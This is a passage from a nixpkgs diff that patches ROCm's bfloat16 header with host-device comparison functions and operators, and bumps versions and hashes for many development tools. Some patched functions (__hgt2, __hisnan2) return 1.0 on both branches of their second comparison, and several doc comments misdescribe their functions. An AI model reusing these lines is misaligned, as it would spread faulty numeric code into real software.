__float2bfloat16(1.0f) : __float2bfloat16(0.0f)}}; ++__HOST_DEVICE__ __hip_bfloat162 __hge2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++ return __hip_bfloat162{{__hge(a.x, b.x) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}, ++ {__hge(a.y, b.y) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}}; + } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a > b, returns 1.0 if greater than equal, otherwise 0.0 + */ +-__device__ __hip_bfloat162 __hgt2(const __hip_bfloat162 a, const __hip_bfloat162 b) { +- return __hip_bfloat162{{__hgt(a.x, b.x) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}, +- {__hgt(a.y, b.y) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}}; ++__HOST_DEVICE__ __hip_bfloat162 __hgt2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++ return __hip_bfloat162{{__hgt(a.x, b.x) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}, ++ {__hgt(a.y, b.y) ? HIPRT_ONE_BF16 : HIPRT_ONE_BF16}}; + } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a is NaN, returns 1.0 if NaN, otherwise 0.0 + */ +-__device__ __hip_bfloat162 __hisnan2(const __hip_bfloat162 a) { +- return __hip_bfloat162{ +- {__ocml_isnan_f32(__bfloat162float(a.x)) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}, +- {__ocml_isnan_f32(__bfloat162float(a.y)) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}}; ++__HOST_DEVICE__ __hip_bfloat162 __hisnan2(const __hip_bfloat162 a) { ++ return __hip_bfloat162{{__hisnan(a.x) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}, ++ {__hisnan(a.y) ? HIPRT_ONE_BF16 : HIPRT_ONE_BF16}}; + } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a <= b, returns 1.0 if greater than equal, otherwise 0.0 + */ +-__device__ __hip_bfloat162 __hle2(const __hip_bfloat162 a, const __hip_bfloat162 b) { +- return __hip_bfloat162{{__hle(a.x, b.x) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}, +- {__hle(a.y, b.y) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}}; ++__HOST_DEVICE__ __hip_bfloat162 __hle2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++ return __hip_bfloat162{{__hle(a.x, b.x) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}, ++ {__hle(a.y, b.y) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}}; + } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a < b, returns 1.0 if greater than equal, otherwise 0.0 + */ +-__device__ __hip_bfloat162 __hlt2(const __hip_bfloat162 a, const __hip_bfloat162 b) { +- return __hip_bfloat162{{__hlt(a.x, b.x) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}, +- {__hlt(a.y, b.y) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}}; ++__HOST_DEVICE__ __hip_bfloat162 __hlt2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++ return __hip_bfloat162{{__hlt(a.x, b.x) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}, ++ {__hlt(a.y, b.y) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}}; + } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Returns max of two elements + */ +-__device__ __hip_bfloat162 __hmax2(const __hip_bfloat162 a, const __hip_bfloat162 b) { +- return __hip_bfloat162{ +- __float2bfloat16(__ocml_fmax_f32(__bfloat162float(a.x), __bfloat162float(b.x))), +- __float2bfloat16(__ocml_fmax_f32(__bfloat162float(a.y), __bfloat162float(b.y)))}; ++__HOST_DEVICE__ __hip_bfloat162 __hmax2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++ return __hip_bfloat162{__hmax(a.x, b.x), __hmax(a.y, b.y)}; + } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Returns min of two elements + */ +-__device__ __hip_bfloat162 __hmin2(const __hip_bfloat162 a, const __hip_bfloat162 b) { +- return __hip_bfloat162{ +- __float2bfloat16(__ocml_fmin_f32(__bfloat162float(a.x), __bfloat162float(b.x))), +- __float2bfloat16(__ocml_fmin_f32(__bfloat162float(a.y), __bfloat162float(b.y)))}; ++__HOST_DEVICE__ __hip_bfloat162 __hmin2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++ return __hip_bfloat162{__hmin(a.x, b.x), __hmin(a.y, b.y)}; + } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Checks for not equal to + */ +-__device__ __hip_bfloat162 __hne2(const __hip_bfloat162 a, const __hip_bfloat162 b) { +- return __hip_bfloat162{{__hne(a.x, b.x) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}, +- {__hne(a.y, b.y) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}}; ++__HOST_DEVICE__ __hip_bfloat162 __hne2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++ return __hip_bfloat162{{__hne(a.x, b.x) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}, ++ {__hne(a.y, b.y) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}}; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_COMP ++ * \brief Operator to perform an equal compare on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator==(const __hip_bfloat16& l, const __hip_bfloat16& r) { ++ return __heq(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_COMP ++ * \brief Operator to perform a not equal on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator!=(const __hip_bfloat16& l, const __hip_bfloat16& r) { ++ return __hne(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_COMP ++ * \brief Operator to perform a less than on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator<(const __hip_bfloat16& l, const __hip_bfloat16& r) { ++ return __hlt(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_COMP ++ * \brief Operator to perform a less than equal on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator<=(const __hip_bfloat16& l, const __hip_bfloat16& r) { ++ return __hle(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_COMP ++ * \brief Operator to perform a greater than on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator>(const __hip_bfloat16& l, const __hip_bfloat16& r) { ++ return __hgt(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_COMP ++ * \brief Operator to perform a greater than equal on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator>=(const __hip_bfloat16& l, const __hip_bfloat16& r) { ++ return __hge(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_COMP ++ * \brief Operator to perform an equal compare on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator==(const __hip_bfloat162& l, const __hip_bfloat162& r) { ++ return __heq(l.x, r.x) && __heq(l.y, r.y); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_COMP ++ * \brief Operator to perform a not equal on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator!=(const __hip_bfloat162& l, const __hip_bfloat162& r) { ++ return __hne(l.x, r.x) || __hne(l.y, r.y); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_COMP ++ * \brief Operator to perform a less than on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator<(const __hip_bfloat162& l, const __hip_bfloat162& r) { ++ return __hlt(l.x, r.x) && __hlt(l.y, r.y); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_COMP ++ * \brief Operator to perform a less than equal on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator<=(const __hip_bfloat162& l, const __hip_bfloat162& r) { ++ return __hle(l.x, r.x) && __hle(l.y, r.y); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_COMP ++ * \brief Operator to perform a greater than on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator>(const __hip_bfloat162& l, const __hip_bfloat162& r) { ++ return __hgt(l.x, r.x) && __hgt(l.y, r.y); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_COMP ++ * \brief Operator to perform a greater than equal on two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ bool operator>=(const __hip_bfloat162& l, const __hip_bfloat162& r) { ++ return __hge(l.x, r.x) && __hge(l.y, r.y); + } + + /** +@@ -974,5 +1334,4 @@ __device__ __hip_bfloat162 h2sqrt(const __hip_bfloat162 h) { + __device__ __hip_bfloat162 h2trunc(const __hip_bfloat162 h) { + return __hip_bfloat162{htrunc(h.x), htrunc(h.y)}; + } +- + #endif diff --git a/pkgs/development/rocm-modules/5/clr/default.nix b/pkgs/development/rocm-modules/5/clr/default.nix index 1a72a8d7c3fb8..3fcd551cd423f 100644 --- a/pkgs/development/rocm-modules/5/clr/default.nix +++ b/pkgs/development/rocm-modules/5/clr/default.nix @@ -88,6 +88,11 @@ in stdenv.mkDerivation (finalAttrs: { "-DCMAKE_INSTALL_LIBDIR=lib" ]; + patches = [ + ./add-missing-operators.patch + ./static-functions.patch + ]; + postPatch = '' patchShebangs hipamd/src diff --git a/pkgs/development/rocm-modules/5/clr/static-functions.patch b/pkgs/development/rocm-modules/5/clr/static-functions.patch new file mode 100644 index 0000000000000..87d9528691ce5 --- /dev/null +++ b/pkgs/development/rocm-modules/5/clr/static-functions.patch @@ -0,0 +1,31 @@ +From 77c581a3ebd47b5e2908973b70adea66891159ee Mon Sep 17 00:00:00 2001 +From: Jatin Chaudhary <JatinJaikishan.Chaudhary@amd.com> +Date: Mon, 4 Dec 2023 17:21:39 +0000 +Subject: [PATCH] SWDEV-435702 - the functions in bf16 header need to be static + +If the compiler decides not to inline these functions, we might break ODR (one definition rule) due to this file being included in multiple files and being linked together + +Change-Id: Iacbfdabb53f5b4e5db8c690b23f3730ec9af16c0 +--- + hipamd/include/hip/amd_detail/amd_hip_bf16.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/hipamd/include/hip/amd_detail/amd_hip_bf16.h b/hipamd/include/hip/amd_detail/amd_hip_bf16.h +index 836e090eb..204269a84 100644 +--- a/hipamd/include/hip/amd_detail/amd_hip_bf16.h ++++ b/hipamd/include/hip/amd_detail/amd_hip_bf16.h +@@ -94,12 +94,12 @@ + #include "math_fwd.h" // ocml device functions + + #if defined(__HIPCC_RTC__) +-#define __HOST_DEVICE__ __device__ ++#define __HOST_DEVICE__ __device__ static + #else + #include <algorithm> + #include <climits> + #include <cmath> +-#define __HOST_DEVICE__ __host__ __device__ inline ++#define __HOST_DEVICE__ __host__ __device__ static inline + #endif + + #define HIPRT_ONE_BF16 __float2bfloat16(1.0f) diff --git a/pkgs/development/ruby-modules/bundler/default.nix b/pkgs/development/ruby-modules/bundler/default.nix index 04e6a6d35a111..d0b7a1d22a458 100644 --- a/pkgs/development/ruby-modules/bundler/default.nix +++ b/pkgs/development/ruby-modules/bundler/default.nix @@ -4,8 +4,8 @@ buildRubyGem rec { inherit ruby; name = "${gemName}-${version}"; gemName = "bundler"; - version = "2.5.5"; - source.sha256 = "sha256-E8f+JpAw4qZAKmVMBt7/Aa72dM7WSds76YtVA6CApGI="; + version = "2.5.6"; + source.sha256 = "sha256-Gh8h0UVuFt0v7pNGHZZANIBHqi3K9dd2h0pg3dTfXGQ="; dontPatchShebangs = true; postFixup = '' diff --git a/pkgs/development/ruby-modules/gem-config/default.nix b/pkgs/development/ruby-modules/gem-config/default.nix index 610ee016e6fe1..f433a398d6e32 100644 --- a/pkgs/development/ruby-modules/gem-config/default.nix +++ b/pkgs/development/ruby-modules/gem-config/default.nix @@ -620,14 +620,6 @@ in ovirt-engine-sdk = attrs: { buildInputs = [ curl libxml2 ]; dontBuild = false; - patches = [ - # fix ruby 3.1 https://github.com/oVirt/ovirt-engine-sdk-ruby/pull/3 - (fetchpatch { - url = "https://github.com/oVirt/ovirt-engine-sdk-ruby/pull/3/commits/b596b919bc7857fdc0fc1c61a8cb7eab32cfc2db.patch"; - hash = "sha256-AzGTQaD/e6X4LOMuXhy/WhbayhWKYCGHXPFlzLRWyPM="; - stripLen = 1; - }) - ]; }; pango = attrs: { diff --git a/pkgs/development/skaware-packages/s6-networking/default.nix b/pkgs/development/skaware-packages/s6-networking/default.nix index 6e3722ef57722..1b8cd4e88fead 100644 --- a/pkgs/development/skaware-packages/s6-networking/default.nix +++ b/pkgs/development/skaware-packages/s6-networking/default.nix @@ -19,8 +19,8 @@ assert sslSupportEnabled -> sslLibs ? ${sslSupport}; buildPackage { pname = "s6-networking"; - version = "2.7.0.1"; - sha256 = "36SWTU8b2umrX8RQh2n9b+/DOlJ9UVOjd3xrBG7upWQ="; + version = "2.7.0.2"; + sha256 = "wzxvGyvhb4miGvlGz9BiQqEvmBhMiYt1XdskM4ZxzrE="; description = "A suite of small networking utilities for Unix systems"; diff --git a/pkgs/development/skaware-packages/s6-rc-man-pages/default.nix b/pkgs/development/skaware-packages/s6-rc-man-pages/default.nix index 2c1df664431aa..e919746fccdbf 100644 --- a/pkgs/development/skaware-packages/s6-rc-man-pages/default.nix +++ b/pkgs/development/skaware-packages/s6-rc-man-pages/default.nix @@ -2,7 +2,7 @@ buildManPages { pname = "s6-rc-man-pages"; - version = "0.5.4.1.2"; + version = "0.5.4.2.1"; sha256 = "Ywke3FG/xhhUd934auDB+iFRDCvy8IJs6IkirP6O/As="; description = "mdoc(7) versions of the documentation for the s6-rc service manager"; maintainers = [ lib.maintainers.qyliss ]; diff --git a/pkgs/development/skaware-packages/skalibs/default.nix b/pkgs/development/skaware-packages/skalibs/default.nix index 7dc87458b6203..aecbceda75064 100644 --- a/pkgs/development/skaware-packages/skalibs/default.nix +++ b/pkgs/development/skaware-packages/skalibs/default.nix @@ -8,8 +8,8 @@ with skawarePackages; buildPackage { pname = "skalibs"; - version = "2.14.1.0"; - sha256 = "24YTUWEngQ2N/thutCRaX/JCBPHhb6KOiqrTRtlqrug="; + version = "2.14.1.1"; + sha256 = "trebgW9LoLaAFnaw7UF5tZyMeAnu/+JttnLkBGNr78M="; description = "A set of general-purpose C programming libraries"; diff --git a/pkgs/development/tools/algolia-cli/default.nix b/pkgs/development/tools/algolia-cli/default.nix index 75f69e021e1f5..86135d232bc0a 100644 --- a/pkgs/development/tools/algolia-cli/default.nix +++ b/pkgs/development/tools/algolia-cli/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "algolia-cli"; - version = "1.5.0"; + version = "1.6.1"; src = fetchFromGitHub { owner = "algolia"; repo = "cli"; rev = "v${version}"; - hash = "sha256-iaqr8/jPYEnOhGoiUC5lmd7l+AAOFh3iYVW+mbBV/V8="; + hash = "sha256-XcsVU/yV6c6jzuJdZvqs+kAu6XwR8ygVcJ6KEI04x9I="; }; vendorHash = "sha256-cNuBTH7L2K4TgD0H9FZ9CjhE5AGXADaniGLD9Lhrtrk="; diff --git a/pkgs/development/tools/altair-graphql-client/default.nix b/pkgs/development/tools/altair-graphql-client/default.nix index e745ef3f932cb..f0c93071d83a0 100644 --- a/pkgs/development/tools/altair-graphql-client/default.nix +++ b/pkgs/development/tools/altair-graphql-client/default.nix @@ -2,11 +2,11 @@ let pname = "altair"; - version = "6.2.0"; + version = "6.3.1"; src = fetchurl { url = "https://github.com/imolorhe/altair/releases/download/v${version}/altair_${version}_x86_64_linux.AppImage"; - sha256 = "sha256-tDku9PNPCJ3ft7eFq34l90jGOXjHMk8JZcfO8SWJras="; + sha256 = "sha256-ebRwdivDxjcM3dD+RLW09otT/wovz1JjgXai2TsuSOE="; }; appimageContents = appimageTools.extract { inherit pname version src; }; diff --git a/pkgs/development/tools/analysis/actionlint/default.nix b/pkgs/development/tools/analysis/actionlint/default.nix index b953aea0bb2d5..79cf031d14d6e 100644 --- a/pkgs/development/tools/analysis/actionlint/default.nix +++ b/pkgs/development/tools/analysis/actionlint/default.nix @@ -10,7 +10,7 @@ buildGoModule rec { pname = "actionlint"; - version = "1.6.26"; + version = "1.6.27"; subPackages = [ "cmd/actionlint" ]; @@ -18,10 +18,10 @@ buildGoModule rec { owner = "rhysd"; repo = "actionlint"; rev = "v${version}"; - hash = "sha256-BCja8twbPwYI41JuQs2LHMCXlTbY5FAjHhZvn5mIlkg="; + hash = "sha256-v8RuSsayIVA31ADLiAOcWwXY3HKjG15FZ/PHnY651Ac="; }; - vendorHash = "sha256-sBwI2L9tNg8Q/vIhhp0eIxetklytvJj+O1mWjrHkH24="; + vendorHash = "sha256-DhZHfcnLm700i0M4pcvwlPdynbLRnG5rYsp5CrIDybw="; nativeBuildInputs = [ makeWrapper ronn installShellFiles ]; diff --git a/pkgs/development/tools/analysis/brakeman/Gemfile.lock b/pkgs/development/tools/analysis/brakeman/Gemfile.lock index dcc9920bd5347..3a2065935c381 100644 --- a/pkgs/development/tools/analysis/brakeman/Gemfile.lock +++ b/pkgs/development/tools/analysis/brakeman/Gemfile.lock @@ -1,7 +1,7 @@ GEM remote: https://rubygems.org/ specs: - brakeman (6.1.1) + brakeman (6.1.2) racc racc (1.7.3) @@ -12,4 +12,4 @@ DEPENDENCIES brakeman BUNDLED WITH - 2.5.3 + 2.5.5 diff --git a/pkgs/development/tools/analysis/brakeman/default.nix b/pkgs/development/tools/analysis/brakeman/default.nix index 72c4b1fbc3e34..86311a2686620 100644 --- a/pkgs/development/tools/analysis/brakeman/default.nix +++ b/pkgs/development/tools/analysis/brakeman/default.nix @@ -14,5 +14,6 @@ bundlerApp rec { license = [ licenses.unfreeRedistributable ]; platforms = ruby.meta.platforms; maintainers = [ maintainers.marsam ]; + mainProgram = "brakeman"; }; } diff --git a/pkgs/development/tools/analysis/brakeman/gemset.nix b/pkgs/development/tools/analysis/brakeman/gemset.nix index fdee80a9ff752..d7d2908f74270 100644 --- a/pkgs/development/tools/analysis/brakeman/gemset.nix +++ b/pkgs/development/tools/analysis/brakeman/gemset.nix @@ -5,10 +5,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1ahkss5xpdw7vwykyd5kba74cs4r987fcn7ad5qvzhzhqdariqvy"; + sha256 = "1lylig4vgnw9l1ybwgxdi9nw9q2bc5dcplklg8nsbi7j32f7c5kp"; type = "gem"; }; - version = "6.1.1"; + version = "6.1.2"; }; racc = { groups = ["default"]; diff --git a/pkgs/development/tools/analysis/checkov/default.nix b/pkgs/development/tools/analysis/checkov/default.nix index a60ef454284d8..09bb334659ce2 100644 --- a/pkgs/development/tools/analysis/checkov/default.nix +++ b/pkgs/development/tools/analysis/checkov/default.nix @@ -5,14 +5,14 @@ python3.pkgs.buildPythonApplication rec { pname = "checkov"; - version = "3.2.8"; + version = "3.2.32"; pyproject = true; src = fetchFromGitHub { owner = "bridgecrewio"; repo = "checkov"; rev = "refs/tags/${version}"; - hash = "sha256-Hd1YOzIH6v8N/oP2cJRUv6OkgOv9aSe7nkvzpsCN3rc="; + hash = "sha256-brebisU7YhbLHEojJUu5Ei0F6hMHg1lsYjppBAXewYQ="; }; patches = [ @@ -20,6 +20,8 @@ python3.pkgs.buildPythonApplication rec { ]; pythonRelaxDeps = [ + "boto3" + "botocore" "bc-detect-secrets" "bc-python-hcl2" "dpath" diff --git a/pkgs/development/tools/analysis/checkstyle/default.nix b/pkgs/development/tools/analysis/checkstyle/default.nix index 84730b8297518..01c701048783a 100644 --- a/pkgs/development/tools/analysis/checkstyle/default.nix +++ b/pkgs/development/tools/analysis/checkstyle/default.nix @@ -1,12 +1,12 @@ { lib, stdenvNoCC, fetchurl, makeBinaryWrapper, jre }: stdenvNoCC.mkDerivation rec { - version = "10.13.0"; + version = "10.14.0"; pname = "checkstyle"; src = fetchurl { url = "https://github.com/checkstyle/checkstyle/releases/download/checkstyle-${version}/checkstyle-${version}-all.jar"; - sha256 = "sha256-VhEMyn20ubXbsDMHnNS4/E2Aeeyby3U3OV29/uXEQw4="; + sha256 = "sha256-suPuRdKIXP9gzPKkIWku6P+QAQOts781wQRoz1FKs58="; }; nativeBuildInputs = [ makeBinaryWrapper ]; diff --git a/pkgs/development/tools/analysis/codeql/default.nix b/pkgs/development/tools/analysis/codeql/default.nix index 10634622fe5ea..2d67f6211f19d 100644 --- a/pkgs/development/tools/analysis/codeql/default.nix +++ b/pkgs/development/tools/analysis/codeql/default.nix @@ -2,7 +2,7 @@ stdenv.mkDerivation rec { pname = "codeql"; - version = "2.16.1"; + version = "2.16.3"; dontConfigure = true; dontBuild = true; @@ -10,7 +10,7 @@ stdenv.mkDerivation rec { src = fetchzip { url = "https://github.com/github/codeql-cli-binaries/releases/download/v${version}/codeql.zip"; - hash = "sha256-y9tSG/SxCeyFdWF6gKuPSBgfG5H2uB/XRmQkfMBdKQU="; + hash = "sha256-jpmnT3Knr/0Pk9Z0zRi3zyB8CH31z3kJxU0nBXg8iXY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/tools/analysis/cppcheck/default.nix b/pkgs/development/tools/analysis/cppcheck/default.nix index 0582c1d6e89a0..0da5fcc9efbbb 100644 --- a/pkgs/development/tools/analysis/cppcheck/default.nix +++ b/pkgs/development/tools/analysis/cppcheck/default.nix @@ -14,7 +14,7 @@ stdenv.mkDerivation (finalAttrs: { pname = "cppcheck"; - version = "2.13.3"; + version = "2.13.4"; outputs = [ "out" "man" ]; @@ -22,7 +22,7 @@ stdenv.mkDerivation (finalAttrs: { owner = "danmar"; repo = "cppcheck"; rev = finalAttrs.version; - hash = "sha256-JTasjK9EkdGCTGL5Qx9uU3UBFlQzVdpTJ/v1IfzXCLE="; + hash = "sha256-Bz8ACCsxKfN1Y8TpS+oD/6lixLItL1TQR0Ud4gj1txk="; }; nativeBuildInputs = [ diff --git a/pkgs/development/tools/analysis/cvehound/default.nix b/pkgs/development/tools/analysis/cvehound/default.nix index d6b08fb06153d..96f9b47d17bca 100644 --- a/pkgs/development/tools/analysis/cvehound/default.nix +++ b/pkgs/development/tools/analysis/cvehound/default.nix @@ -7,13 +7,13 @@ python3.pkgs.buildPythonApplication rec { pname = "cvehound"; - version = "1.1.0"; + version = "1.2.0"; src = fetchFromGitHub { owner = "evdenis"; repo = "cvehound"; rev = "refs/tags/${version}"; - hash = "sha256-4+0Virpsq4mwOIpostS87VYTX8hsumXEL1w8FiOrNtA="; + hash = "sha256-DnrFlDFJT74irvrNs/j7zwO76DYjTOuY0t+mu5c8gpk="; }; makeWrapperArgs = [ diff --git a/pkgs/development/tools/analysis/flow/default.nix b/pkgs/development/tools/analysis/flow/default.nix index 21811bd668c70..dc7edb5c79bd1 100644 --- a/pkgs/development/tools/analysis/flow/default.nix +++ b/pkgs/development/tools/analysis/flow/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "flow"; - version = "0.228.0"; + version = "0.230.0"; src = fetchFromGitHub { owner = "facebook"; repo = "flow"; rev = "v${version}"; - hash = "sha256-JUmDnpa9hvaGBcZR+OOD9R4P06x94zAdXW1SotXlcMc="; + hash = "sha256-8sfyjUlyJ9A96xD7n6BeJxDNhT7FMq/7HlVC373uLM8="; }; postPatch = '' diff --git a/pkgs/development/tools/analysis/rizin/default.nix b/pkgs/development/tools/analysis/rizin/default.nix index 3112e438da051..9f8524e68995f 100644 --- a/pkgs/development/tools/analysis/rizin/default.nix +++ b/pkgs/development/tools/analysis/rizin/default.nix @@ -1,6 +1,7 @@ { lib , pkgs # for passthru.plugins , stdenv +, fetchpatch , fetchurl , pkg-config , libusb-compat-0_1 @@ -47,12 +48,21 @@ let rizin = stdenv.mkDerivation rec { "-Dportable=true" ]; - # Normally, Rizin only looks for files in the install prefix. With - # portable=true, it instead looks for files in relation to the parent - # of the directory of the binary file specified in /proc/self/exe, - # caching it. This patch replaces the entire logic to only look at - # the env var NIX_RZ_PREFIX - patches = [ ./librz-wrapper-support.patch ]; + patches = [ + # Normally, Rizin only looks for files in the install prefix. With + # portable=true, it instead looks for files in relation to the parent + # of the directory of the binary file specified in /proc/self/exe, + # caching it. This patch replaces the entire logic to only look at + # the env var NIX_RZ_PREFIX + ./librz-wrapper-support.patch + # Fix tree-sitter 0.20.9 build failure: https://github.com/rizinorg/rizin/pull/4165 + (fetchpatch { + name = "tree-sitter-0.20.9.patch"; + url = "https://github.com/rizinorg/rizin/commit/1bb08712dbc9e062bb439a65dcebeb4221ded699.patch"; + hash = "sha256-mE0eQAFhyxX5bwrz+S1IVl6HNV9ITQ+tRRvGLLif5VI="; + }) + ]; + nativeBuildInputs = [ pkg-config diff --git a/pkgs/development/tools/analysis/snyk/default.nix b/pkgs/development/tools/analysis/snyk/default.nix index fc5db92cb161b..4eacb2b476f57 100644 --- a/pkgs/development/tools/analysis/snyk/default.nix +++ b/pkgs/development/tools/analysis/snyk/default.nix @@ -2,16 +2,16 @@ buildNpmPackage rec { pname = "snyk"; - version = "1.1276.0"; + version = "1.1281.0"; src = fetchFromGitHub { owner = "snyk"; repo = "cli"; rev = "v${version}"; - hash = "sha256-l5Xx6z3NbtwdtKe8MmRWTJoKaEH3AZjHKXqoLv3rHfU="; + hash = "sha256-QxmYArH9HRq2vkGzfhWlCPLS++UiwdzAStUQxhGF85Q="; }; - npmDepsHash = "sha256-FJGxCEhBADH4c1khJaVFHL4e25Mq4PHrez+2NPFBx0w="; + npmDepsHash = "sha256-JxX4r1I/F3PEzg9rLfFNEIa4Q8jwuUWC6krH1oSoc8s="; postPatch = '' substituteInPlace package.json --replace '"version": "1.0.0-monorepo"' '"version": "${version}"' diff --git a/pkgs/development/tools/aws-sam-cli/default.nix b/pkgs/development/tools/aws-sam-cli/default.nix index 093c5a1ab9e03..5ab92dbe8b18d 100644 --- a/pkgs/development/tools/aws-sam-cli/default.nix +++ b/pkgs/development/tools/aws-sam-cli/default.nix @@ -10,8 +10,8 @@ python3.pkgs.buildPythonApplication rec { pname = "aws-sam-cli"; - version = "1.103.0"; - format = "pyproject"; + version = "1.110.0"; + pyproject = true; disabled = python3.pythonOlder "3.8"; @@ -19,7 +19,7 @@ python3.pkgs.buildPythonApplication rec { owner = "aws"; repo = "aws-sam-cli"; rev = "refs/tags/v${version}"; - hash = "sha256-oy0+dAA6x8Jl1nZ1wjsR9xvpR9biemTtqL9B1awz4BM="; + hash = "sha256-FJHHEsdi2uGP9/GxrANsVEuxZiS4M4BPBGoARQBQpkA="; }; nativeBuildInputs = with python3.pkgs; [ @@ -28,15 +28,18 @@ python3.pkgs.buildPythonApplication rec { ]; pythonRelaxDeps = [ + "aws-lambda-builders" "aws-sam-translator" "boto3-stubs" - "tzlocal" + "cfn-lint" "cookiecutter" "docker" - "aws-lambda-builders" - "tomlkit" - "rich" "jsonschema" + "pyopenssl" + "rich" + "ruamel-yaml" + "tomlkit" + "tzlocal" ]; propagatedBuildInputs = with python3.pkgs; [ @@ -85,13 +88,12 @@ python3.pkgs.buildPythonApplication rec { --prefix PATH : $out/bin:${lib.makeBinPath [ git ]} ''; - doCheck = true; - nativeCheckInputs = with python3.pkgs; [ filelock flaky parameterized psutil + pytest-timeout pytest-xdist pytestCheckHook ]; @@ -103,22 +105,27 @@ python3.pkgs.buildPythonApplication rec { pytestFlagsArray = [ "tests" + # Disable warnings + "-W" + "ignore::DeprecationWarning" + ]; + disabledTestPaths = [ # Disable tests that requires networking or complex setup - "--ignore=tests/end_to_end" - "--ignore=tests/integration" - "--ignore=tests/regression" - "--ignore=tests/smoke" - "--ignore=tests/unit/lib/telemetry" - + "tests/end_to_end" + "tests/integration" + "tests/regression" + "tests/smoke" + "tests/unit/lib/telemetry" # Disable flaky tests - "--ignore=tests/unit/lib/samconfig/test_samconfig.py" - "--deselect=tests/unit/lib/sync/flows/test_rest_api_sync_flow.py::TestRestApiSyncFlow::test_update_stage" - "--deselect=tests/unit/lib/sync/flows/test_rest_api_sync_flow.py::TestRestApiSyncFlow::test_delete_deployment" - "--deselect=tests/unit/local/lambda_service/test_local_lambda_invoke_service.py::TestValidateRequestHandling::test_request_with_no_data" + "tests/unit/lib/samconfig/test_samconfig.py" + ]; - # Disable warnings - "-W ignore::DeprecationWarning" + disabledTests = [ + # Disable flaky tests + "test_update_stage" + "test_delete_deployment" + "test_request_with_no_data" ]; pythonImportsCheck = [ diff --git a/pkgs/development/tools/azure-static-sites-client/versions.json b/pkgs/development/tools/azure-static-sites-client/versions.json index 535157f6a506b..ba6a02a9fc1d4 100644 --- a/pkgs/development/tools/azure-static-sites-client/versions.json +++ b/pkgs/development/tools/azure-static-sites-client/versions.json @@ -1,58 +1,58 @@ [ { "version": "latest", - "buildId": "1.0.025891", - "publishDate": "2024-02-02T19:23:37.1915908Z", + "buildId": "1.0.026164", + "publishDate": "2024-02-29T20:38:30.619614Z", "files": { "linux-x64": { - "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025891/linux/StaticSitesClient", - "sha": "798b4032d1b6cd3f7057a6b7510c502dd69fa8cb4d27d47433542e8e80e9f87c" + "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.026164/linux/StaticSitesClient", + "sha": "7b2d674a63fb0cb1ee39b84348260755c872a2922d03c0ee55eea1c8eb385524" }, 